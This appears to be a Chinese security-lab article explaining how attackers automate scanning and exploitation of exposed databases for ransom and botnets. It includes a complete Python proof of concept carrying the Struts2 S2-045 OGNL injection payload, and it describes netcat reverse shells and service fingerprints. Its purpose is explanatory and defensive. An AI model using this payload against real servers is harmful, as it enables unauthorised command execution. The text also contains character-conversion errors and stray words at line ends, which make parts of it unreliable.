做者:張祖優@騰訊雲 雲鼎實驗室html
每一次重要通用漏洞的爆發老是會帶來一片腥風血雨,任何微小的漏洞,基於43億IPv4地址這個大基數,老是能夠被放大!python
從MongoDB開始到MySQL,黑客瞄準了數據庫服務,經過黑客手段獲取數據庫服務的權限,而後刪除數據,在數據庫中插入勒索信息,要求支付比特幣以贖回數據(可見擴展閱讀)。那麼黑客是如何實現這整個過程?linux
在MongoDB的勒索事件裏,黑客攻擊經過攻擊存在未受權訪問問題的MongoDB數據庫,加密原數據內容,在數據庫中插入勒索信息,要求支付比特幣以贖回數據。(具體可見雷鋒網的報道)redis
在這個事件中,咱們來還原下黑客是怎麼實現這個流程的:shell
大概是這樣一個流程,經過探測互聯網上符合的目標,而後使用對應的攻擊腳本針對探測獲得的目標實現自動化的攻擊。數據庫
而細化到具體的探測目標和Exp的功能,以MongoDB數據勒索這個例子,探測目標主要是探測互聯網上開放了27017端口的目標,而後進一步探測是否能夠未受權直接鏈接目標:apache
而攻擊腳本的功能大概是這樣的:安全
就MongoDB這個例子,主要是利用了MongoDB未受權訪問的這個問題;MongoDB默認安裝是沒有密碼的,而且沒有綁定IP,致使的問題就是外網能夠訪問這些MongoDB,而且因爲無需受權,就能夠直接未受權訪問。服務器
其實,這是一個自動漏洞批量利用的過程,不只限於數據勒索,也不只限於開始列的幾種數據服務的未受權訪問或者弱口令等安全問題,一樣其餘漏洞也是能夠的。微信
每每一些漏洞在爆發以後,沒多久就立刻會爆發出漏洞的PoC和Exp,好比最近的Struts2新漏洞S2-045(CVE-2017-5638),漏洞在3月6日爆出,而在3月7日也就是次日,PoC和Exp已經滿天飛,就本次的漏洞來講,基本國內外大的互聯網公司基本沒有不受影響的;該漏洞能夠致使命令執行,能夠得到系統權限,在PoC和Exp出現的第一時間,已經基本是地上地下都在利用和掃描了。
import requests import sys def poc(url): payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()). \ (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}" headers = {} headers["Content-Type"] = payload r = requests.get(url, headers=headers) if "105059592" in r.content: return True return False if __name__ == '__main__': if len(sys.argv) == 1: print "python s2-045.py target" sys.exit() if poc(sys.argv[1]): print "vulnerable" else: print "not vulnerable"
上面是此次S2-045的PoC,經過這些攻擊腳本,黑客能夠實現自動化的對漏洞進行利用
15年11月也出現過一個安全事件,就是有黑客團體利用Redis設計缺陷成功入侵了至少10000家的Redis服務器(具體見nosec的報告)。在這個事件裏,黑客基於Redis未受權訪問問題,經過配合SSH Key的技巧批量的入侵了Redis服務器。
視頻戳:https://v.qq.com/x/page/n0363pw80m8.html
上面的視頻是經過手動的方式演示瞭如何利用這個問題獲取服務器的系統權限,而每每這個過程黑客是經過自動化的手段進行的,下面是的視頻演示瞭如何經過工具自動化的獲取攻擊目標,利用PoC進行驗證是否存在Redis未受權訪問問題的。
視頻戳:https://v.qq.com/x/page/t0382xsgnp4.html
其實每一次爆發的漏洞對於相關黑客來講,利用的過程不外乎如此;還有個例子,以前國外有個團隊,捕獲了一個使用ElasticSearch漏洞構建的僵屍網絡,利用ElasticSearch的漏洞,對ElasticSearch服務器進行控制,整個僵屍網絡最終能夠用來進行DDOS攻擊(分析報告)。
通過跟蹤ElasticSearch公開的漏洞,他們發現,尤爲在中國的相關論壇,CVE-2015-1427 被屢次討論和引用,這是一個ElasticSearch Groovy 腳本引擎的漏洞致使攻擊者可繞過沙箱檢查執行shell命令的命令執行漏洞。
這是個影響ElasticSearch 1.3.0-1.3.7以及1.4.0到1.4.2的漏洞,相關的PoC也就是漏洞驗證代碼以及Exp都已經在網上公開,黑客能夠利用這個漏洞,執行Shell命令,經過perl執行一個perl腳本,來進行反彈shell,能夠達到對服務器的控制。
什麼是反彈shell呢?正常咱們經過ssh鏈接linux等服務器,是主動的方式鏈接,而反彈shell,shell其實跟咱們經過ssh鏈接的shell沒什麼大的區別,而反彈的意思是,控制端經過一些軟件,好比nc,也就是netcat在控制端監聽某個端口,被控制端,好比說linux 服務器,發起請求到該端口,並將其命令行的輸入輸出轉到控制端。
咱們經過一個視頻來看下如何利用這個漏洞進行反彈shell來控制服務器的:
視頻戳:https://v.qq.com/x/page/d0195jprwg1.html
而其實黑客如何利用這個漏洞組建僵屍網絡,也只是將這個利用過程自動化,批量化。
看到這我不知道你們是否能夠發現,例子中黑客使用的漏洞都不是0DAY或者1DAY,應該算是NDAY(這裏的數字指距離漏洞爆發已過去的時間);其實,正如你所見,可能你們平時更多的以爲是0DAY的危害很大,但實際的狀況是,0DAY更多的時候是做爲一種最後的手段,並非隨手就能有0DAY,大部分的這種批量的攻擊場景基本是NDAY,每次漏洞爆發,都有一大堆目標受影響,但這些受影響的目標,最終又有多少修復了漏洞,這就得另說了;實際的狀況就是即便漏洞爆發過去很長時間,甚至一兩年的時間也仍有衆多的目標受影響,好比14年爆發出來的心臟出血漏洞,15年仍有衆多目標受影響,甚至包括一些安全廠商的設備和知名互聯網公司的服務器,甚至於如今去作檢測,也仍有存在漏洞的目標。
漏洞的利用與修復一直都是安全對抗中一個主要的工做內容!
在上面的內容咱們介紹了不少黑客攻擊流程和黑客對漏洞的利用,可是彷佛惟獨漏了黑客是哪裏獲得這些攻擊目標的。其實在一開始的MongoDB的說明中已經大概提到了。
每一次重要通用漏洞的爆發老是會帶來一片腥風血雨,任何微小的漏洞,基於43億IPv4地址這個大基數,老是能夠被放大!
不知道你們有沒有注意到引言的這段話,黑客的攻擊其實都是基於43億的IPv4而進行的,一個再小的漏洞,基於這個基數,那麼獲得的可攻擊目標就不是一個小數。
最簡單粗暴的方式,就是拿着攻擊腳本經過分佈式、自動化的方式所有攻擊一遍,固然這個量就有點大,因此更合理的方式是探測符合的目標,好比MongoDB那個事件,須要探測存在MongoDB的服務器,也就是探測端口27017開放的服務器(MongoDB服務默認端口爲27017,通常狀況28017等狀況也有可能,因此黑客在嘗試的時候可能不止探測27017這個端口),而後進一步的探測是否符合漏洞利用條件,就MongoDB的例子也就是須要是存在未受權訪問的狀況,即不須要密碼而且可遠程鏈接。
相似MongoDB的端口27017其實就是指紋,黑客經過這些指紋去探測存在漏洞影響組件的服務器,不一樣的組件和服務都有不一樣的指紋,好比一樣是經過端口的方式,那麼Redis也就是6379,M有SQL是3306,還有好比說"WWW-Authenticate: Basic realm="TD-8817"這個存在於HTTP頭部的指紋能夠探測TP-Link TD-8817路由器;固然,不排除自定義的狀況,但出於成本等方面的,通常黑客在攻擊的時候選擇忽略特殊的狀況。經過探測出符合漏洞影響組件的目標後,這些目標就成爲攻擊腳本執行的目標。
除了指紋探測服務或者組件的存在與否,也能夠進一步探測安裝的組件的版本是否在漏洞影響的版本範圍內,以此來縮小最終要使用攻擊腳本進行攻擊的目標範圍。精確的指紋和版本信息,能夠縮小須要攻擊的目標範圍,從而減小攻擊成本。
其實,經過指紋的方式對於相關目標進行服務和組件的探測,國內外已經有一些安全平臺,好比ZoomEye(https://www.zoomeye.org )、撒旦(https://www.shodan.io/ ,以下圖搜索MySQL服務的目標)等,你們若是想嘗試,能夠直接訪問去搜索相關組件的目標,好比"app:wordpress" 在ZoomEye上搜索Wordpress搭建的站點;在Redis那個未受權訪問問題的自動化演示的視頻中,其實就是調用了ZoomEye的API來獲取存在Redis服務的目標。
固然,看到這些平臺,你可能第一時間想到的是幫助了攻擊者,這個具體怎麼看待把,由於這些平臺的初衷確定不是如此,就像早期的電腦究竟是好是壞的討論同樣;在相關黑客的手裏其實也存在這樣的平臺,或者就是經過腳本直接根據不一樣的漏洞對43億IPv4或者其餘已知目標列表進行探測,而後自動化的攻擊。
講到最後,其實你們能夠發現,不只僅是數據勒索,這其實更多的是一種通用的漏洞自動化攻擊利用的流程,惟一的區別在不一樣的漏洞可以獲取的權限不一樣,對應的在獲取到權限後能作的事也不一樣,因此就存在對應的利用,好比數據勒索,好比組件僵屍網絡用於DDoS,好比用來挖礦,還好比批量黑了路由器進行DNS劫持等。
在企業的安全風險的不一樣維度裏,通用漏洞一直是個棘手的問題,由於你無法事先知道問題,只能在漏洞爆發的時候第一時間去修復漏洞,因此,儘量的選擇一些靠譜的組件,多關注安全,增強漏洞和安全的應急響應,避免由此致使的安全風險!
《Redis 未受權訪問缺陷可輕易致使系統被黑》http://t.cn/R50xt2e
本文首發騰雲閣 【黑客解析】黑客是如何實現數據庫勒索的?
隨時隨地閱讀雲計算技術乾貨
微博 @騰訊雲
知乎 騰訊雲技術社區
掃碼關注微信公衆號